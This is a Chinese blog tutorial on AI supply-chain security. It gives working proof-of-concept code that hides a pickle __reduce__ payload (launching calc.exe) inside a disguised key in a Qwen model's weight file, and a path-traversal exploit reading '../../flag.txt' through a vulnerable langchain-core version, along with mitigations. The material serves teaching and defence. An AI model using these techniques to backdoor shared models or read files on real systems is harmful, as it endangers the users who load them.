当前位置: 首页 > news >正文

大模型安全之供应链漏洞

概要

供应链指的是一个东西从原材料准备、到生产、到发货、到自己收到货使用的整个流水线,在互联网中,供应链指从开发、分发、用户下载使用的整个过程,而供应链安全表示在整个过程中的安全性,比如软件开发时用到的插件有漏洞、第三方组件有漏洞、依赖库被攻击等等,即整个链条中的某个节点出现了安全问题。

注意软件自身如果有漏洞则不属于供应链问题,供应链指的是别的东西带进来的,比如别人的库、框架、插件、依赖等存在问题。

好比说自己做饭难吃,则不属于供应链问题,但买回来的菜变质了,这个就属于供应链问题。

AI领域的供应链安全则包含了AI的整个生命周期,从开发、部署、维护等涉及的所有步骤和组件,比如数据收集、算法开发、模型训练、模型部署、模型维护等等。

例如预训练模型被植入了木马,第三方训练数据问题(例如之前总结的数据投毒),以及第三方的扩展与生态(例如之前总结的不安全的插件)等,这些都属于供应链问题。

关于数据投毒、不安全的插件等内容可以参考之前的文章,这里来测试两个场景,一个模型植入木马,一个第三方依赖问题。

模型植入木马

很多开源模型都是基于pytorch框架训练的,模型权重格式默认是pt、bin这些,而这些格式都用到了python标准库中的pickle模块,该模块可以进行序列化和反序列化,它在反序列化时有个机制,即可通过__reduce__魔术方法去执行特定的代码。

而模型训练保存时就相当于一个序列化过程,将相关python对象转成二进制字节流存到硬盘,而模型的加载就相当于是反序列化。所以对于pytorch的模型,是可以通过该机制植入木马的。

开始之前,我们先来测试下pickle的序列化和反序列化,便于理解,序列化代码如下:

importpickleimportos class BadGuy: def __reduce__(self):return(os.system,("calc.exe",))# 进行序列化,相当于保存为模型文件with open("bad.bin","wb")as f: pickle.dump(BadGuy(), f)print("恶意文件已生成:bad.bin")

执行后会生成一个bin文件,反序列化代码如下:

importpickle# 反序列化,相当于加载模型文件with open("bad.bin","rb")as f: data=pickle.load(f)print("加载完成")

执行后会自动执行bin文件中的reduce方法。下面我们来拿一个模型测试下。

这里以qwen1.5的0.5b为例,思路就是拉取该模型,然后把恶意类注入到模型的层结构中,生成新模型即可。注意:huggingface为了安全,现在平台基本没有bin格式的模型,要求统一提供safetensors格式,该格式不会执行任何代码,所以是安全的。

我们这里拉取qwen模型后,默认就是safetensors,但保存时要保存为bin格式,代码如下:

importtorch from transformersimportAutoModelForCausalLM, AutoConfigimportosimportsys model_id="Qwen/Qwen1.5-0.5B"model=AutoModelForCausalLM.from_pretrained(model_id)# 提取权重字典state_dict=model.state_dict()# 制造木马class TrojanPayload: def __reduce__(self):return(os.system,("calc.exe",))# 寻找一个真实的参数节点进行注入# Qwen 的真实层级结构里有 model.layers.0.mlp.down_proj.weight# 我们在它旁边伪造一个极其逼真的 meta 数据节点state_dict["model.layers.0.mlp.down_proj.bias_metadata_v2"]=TrojanPayload()# 保存为bin文件,注意safetensors文件不会执行代码torch.save(state_dict, os.path.join("./","pytorch_model.bin"))# 保存配置文件,让 transformers 库认识这个模型model.config.save_pretrained("./")print("eval model success")

执行后,当前目录会多一个pytorch_model的bin文件,和一个config.json配置文件,随后我们用torch进行加载,加载时会触发代码执行:

importtorch try: weights=torch.load("./pytorch_model.bin",weights_only=False)print("hack model load success")except Exception as e: print(f"error: {e}")

效果如下:

注意上面是用torch加载,也可以用transformers加载,代码如下:

from transformersimportAutoModelForCausalLM try: model=AutoModelForCausalLM.from_pretrained("./")print("hack model load success")except Exception as e: print(f"error: {e}")

但transformers在较新版本中,加了一个校验机制,会校验当前pytorch的版本,如果pytorch低于2.6,就会禁止调用load去加载模型,因为pytorch在2.6及以上做了安全防护,只会加载数据部分,不会去执行相关指令。

我这里pytorch是2.6以下,所以加载时报错了,transformers禁止进行模型调用。

那如果自己要加载bin模型,可以使用modelscan等工具进行安全扫描,当然攻击者也可能将后门进行加密编码,导致扫描不到,此时可以放到虚拟机中断开网络,然后加载模型,使用wireshark抓包进行分析。

第三方依赖问题

下面再来看一个第三方库的场景,这里以langchain为例,langchain是一个创建智能体的框架,它可以接入模型,也可以定义模型可以调用的工具,这里先来看一个langchain的用法。

先安装下相关的库:

pipinstalllangchain langchain-community langchain-experimental

之后我们通过langchain调用本地的模型,然后工具集定义一个执行python的工具,即PythonREPLTool,这个是langchain自带的工具,随后我们给模型的指令是进行数学计算,如果只靠模型,它本质是随机预测下一个字符,很难得到结果,所以需要借助python工具,写个代码让其执行,从而获得结果,代码如下:

from langchain_community.chat_modelsimportChatOllama from langchain_experimental.agents.agent_toolkitsimportcreate_python_agent from langchain_experimental.toolsimportPythonREPLTool# 调用本地模型llm=ChatOllama(model="qwen2.5-coder:7b",temperature=0.1)# 准备工具箱:这里只放了一个 Python 执行工具# PythonREPLTool 的功能:接收大模型写出的 Python 代码,然后在服务器上执行,返回结果。python_tool=PythonREPLTool()# 将大模型和工具结合,创建 Agent (智能体)agent=create_python_agent(llm=llm,tool=python_tool)# 用户提问user_question="请用 Python 帮我打印出斐波那契数列的前 10 个数字。"print(f"\n👤 [用户]: {user_question}")# 执行任务try: agent.invoke({"input":user_question})except Exception as e: print(f"执行出错: {e}")

初步了解langchain后,我们来复现一个漏洞,该漏洞是CVE-2026-34070,langchain加载配置文件时没有对路径做校验,可通过目录遍历读取任意文件,受影响版本是小于1.2.22,我们假设我们相关AI代码中引入了langchain库,相当于一个供应链问题,首先创建个python虚拟环境测试:

# 创建虚拟环境python-mvenv langchain_cve# 激活虚拟环境langchain_cve\Scripts\activate# 安装存在漏洞的指定版本pipinstalllangchain-core==1.2.21

之后运行如下脚本,其配置文件的路径我们放在脚本的上上层目录中,通过…/…/去读取,如下代码:

importos from langchain_core.prompts.loadingimportload_prompt_from_config malicious_config={"_type":"prompt","template_path":"../../flag.txt","input_variables":[]}try:# 存在漏洞时,这里就会直接把上上级目录的flag文件当做 Prompt 加载进来prompt=load_prompt_from_config(malicious_config)print(">>>", prompt.template)except Exception as e: print("fail", e)

运行后可以成功读取到对应的文件内容,效果如下图:

下面对langchain进行升级:

pipinstall--upgradelangchain-core

升级后再运行脚本,发现提示不能跨目录读取,如下图:

总结

按照供应链问题的边界定义,只要不是开发自己写的代码所产生的漏洞,就都可以归为供应链问题。

小枣信安:专注AI安全,包括但不限于大模型安全、智能体安全、机器人安全、AI赋能网络安全等,欢迎一起学习。

http://www.zskr.cn/news/1505325.html

相关文章:

  • 用着不长脂肪粒的眼油,清爽润养眼周,3款规避脂肪粒问题的眼油 - 全网最美
  • 3步快速上手Mi-Create:小白也能轻松设计小米手表专属表盘
  • 163MusicLyrics:一站式音乐歌词解决方案,让每首歌都有完美歌词陪伴
  • 广州老房装修哪些区域最常改?为何多数家庭选局部翻新而非整体重装——附5家本地服务商选购参考 - 资讯速览
  • 3步打造个性化键盘音效:Mechvibes音效包创建完全指南
  • 终极指南:如何用Auto_Simulated_Universe实现崩坏星穹铁道模拟宇宙自动化
  • 3分钟实战:揭秘Cursor试用限制的深度突破方案
  • XUnity.AutoTranslator:让Unity游戏无障碍畅玩的终极翻译解决方案
  • 十年深耕湖州婚恋市场 湖州红绳以规范服务打造严肃交友阵地 - 互联网科技品牌测评
  • 数美滑动验证码加密参数逆向全解
  • 终极指南:如何轻松限制腾讯ACE-Guard反作弊系统资源占用
  • C#写的简易绘图小工具,带手绘/几何图形/橡皮擦和PNG导出功能
  • 2026 商标购买正规平台推荐:国家知识产权局备案平台测评,安全过户有保障 - 资讯速览
  • C8051F340驱动960×240 ILI8961屏的SPI与RGB双接口固件工程(含触控/SD/USB预留)
  • 2026年不想复读、不想读成人大专,安徽落榜考生公办统招专科上岸方案 - cc江江
  • P89V51双数据指针与IAP/ISP编程实战:性能优化与远程升级
  • Mermaid Live Editor:终极在线图表编辑器的完整使用指南
  • SQLines终极指南:3分钟掌握跨数据库迁移的免费神器
  • MPC8280 PowerQUICC II硬件设计:从架构解析到信号完整性实战
  • 不止于考试:用Python+Matplotlib复现图形学核心算法(光线追踪、关节运动、水面模拟)
  • STM32F030F4P6最小系统开发包:正点原子风格库函数工程,含串口调试、定时器PWM、独立看门狗与多外设初始化框架
  • ArcGIS随机点采样实战:从栅格数据精准提取像元值并导出表格
  • MPC7451 L3缓存接口时序设计:从规格到PCB的实战解析
  • 2026年上海局部改造用户口碑调研报告:基于2800户业主回访与工地交叉核验,哪些服务商真正扛住了不动全屋也能住得舒服的考验? - 资讯速览
  • 解放双手:如何用自动化工具高效刷取星穹铁道模拟宇宙资源
  • 2026贵阳电能质量评估权威机构排行 TOP 谐波检测 + 电压波动 + 能效测评 附电话地址 - 中检检测集团
  • AI生成20万字专著不再难!实用AI工具为你的专著写作保驾护航
  • VS平台TCP聊天程序实战包:含多线程同步、事件驱动与完整C++源码
  • 计算机毕业设计之基于python的论坛bbs系统
  • 2026沈阳黄金回收上门测评:三大连锁品牌实测,哪家体验更好 - 商业快讯早知道